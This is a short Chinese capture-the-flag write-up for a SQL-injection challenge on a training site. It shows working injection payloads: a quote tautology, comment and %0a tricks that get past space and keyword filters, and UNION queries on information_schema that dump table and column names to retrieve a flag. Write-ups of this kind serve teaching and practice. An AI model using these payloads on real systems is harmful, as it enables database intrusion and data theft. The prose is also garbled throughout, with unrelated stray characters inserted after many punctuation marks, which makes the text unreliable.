題目地址:http://ctf5.shiyanbar.com/web/index_2.php
嘗試提交'or '1
簡單地試一下材彪,發(fā)現(xiàn)空格被吃掉了指黎,那就提交'or'1
成功爆出數(shù)據(jù)我衬,簡單地測試之后發(fā)現(xiàn)select和)也被吃掉了,嘗試繞過select過濾的時候發(fā)現(xiàn):
大小寫無法繞過蹬竖、%0aselect%0a無法繞過伊诵,/**/select/**/和/*!select*/可以繞過
由于無法使用),所以我們無法使用函數(shù)傲武,報錯和database()都無法使用蓉驹,無法獲取數(shù)據(jù)庫名,但是我們可以嘗試將所有的時間表都爆出來揪利。(當然你也可以使用limit一條條來)
提交'union/*!select*/table_name%0afrom%0ainformation_schema.tables%23态兴,在底部看到flag表
接下來就是獲取列名,提交'union/*!select*/column_name%0afrom%0ainformation_schema.columns%0awhere%0atable_name='flag'%23
獲取字段名疟位,最后selec出flag
getflag
the end